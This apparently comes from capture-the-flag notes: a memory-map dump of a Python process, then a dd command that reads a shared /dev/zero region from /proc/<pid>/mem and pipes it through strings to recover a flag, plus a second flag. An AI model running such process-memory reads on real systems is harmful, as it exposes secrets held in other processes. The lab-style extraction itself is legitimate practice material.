7fef259f1000-7fef259f3000 rw-p 001e6000 fe:00 45358788 /usr/lib/x86_64-linux-gnu/libc.so.6
7fef259f3000-7fef25a00000 rw-p 00000000 00:00 0
7fef25a00000-7fef25a65000 r--p 00000000 fe:00 10497237 /home/swordreforge/.pyenv/versions/3.8.0/lib/libpython3.8.so.1.0
7fef25a65000-7fef25c41000 r-xp 00065000 fe:00 10497237 /home/swordreforge/.pyenv/versions/3.8.0/lib/libpython3.8.so.1.0
7fef25c41000-7fef25d22000 r--p 00241000 fe:00 10497237 /home/swordreforge/.pyenv/versions/3.8.0/lib/libpython3.8.so.1.0
7fef25d22000-7fef25d27000 r--p 00322000 fe:00 10497237 /home/swordreforge/.pyenv/versions/3.8.0/lib/libpython3.8.so.1.0
7fef25d27000-7fef25d62000 rw-p 00327000 fe:00 10497237 /home/swordreforge/.pyenv/versions/3.8.0/lib/libpython3.8.so.1.0
7fef25d62000-7fef25d83000 rw-p 00000000 00:00 0
7fef25d85000-7fef25d86000 r--p 00000000 fe:00 10504895 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
7fef25d86000-7fef25d87000 r-xp 00001000 fe:00 10504895 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
7fef25d87000-7fef25d8a000 r--p 00002000 fe:00 10504895 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
7fef25d8a000-7fef25d8b000 r--p 00004000 fe:00 10504895 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
7fef25d8b000-7fef25d8c000 rw-p 00005000 fe:00 10504895 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
7fef25d8c000-7fef25dce000 rw-p 00000000 00:00 0
7fef25dd1000-7fef25dd2000 rw-s 00000000 00:01 9630 /dev/zero (deleted)//这里
7fef25dd2000-7fef25dd6000 r--p 00000000 fe:00 10504849 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
7fef25dd6000-7fef25de1000 r-xp 00004000 fe:00 10504849 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
7fef25de1000-7fef25dea000 r--p 0000f000 fe:00 10504849 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
7fef25dea000-7fef25deb000 r--p 00017000 fe:00 10504849 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
7fef25deb000-7fef25dec000 rw-p 00018000 fe:00 10504849 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
7fef25dec000-7fef25ded000 rw-p 00000000 00:00 0
7fef25ded000-7fef25dee000 rw-p 00000000 00:00 0
7fef25dee000-7fef25df5000 r--s 00000000 fe:00 45358777 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fef25df5000-7fef25df7000 rw-p 00000000 00:00 0
7fef25df7000-7fef25dfb000 r--p 00000000 00:00 0 [vvar]
7fef25dfb000-7fef25dfd000 r-xp 00000000 00:00 0 [vdso]
7fef25dfd000-7fef25dfe000 r--p 00000000 fe:00 45358785 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fef25dfe000-7fef25e26000 r-xp 00001000 fe:00 45358785 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fef25e26000-7fef25e31000 r--p 00029000 fe:00 45358785 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fef25e31000-7fef25e33000 r--p 00034000 fe:00 45358785 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fef25e33000-7fef25e34000 rw-p 00036000 fe:00 45358785 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fef25e34000-7fef25e35000 rw-p 00000000 00:00 0
7ffcd74b4000-7ffcd74d6000 rw-p 00000000 00:00 0 [stack]

dd if=/proc/510400/mem bs=1 skip=$((0x7fef25dd1000)) count=4096 2>/dev/null | strings
flag{test_flag}

Kernel panic!
Kernel panic!
分享
flag2=flag{share_with_your_friends}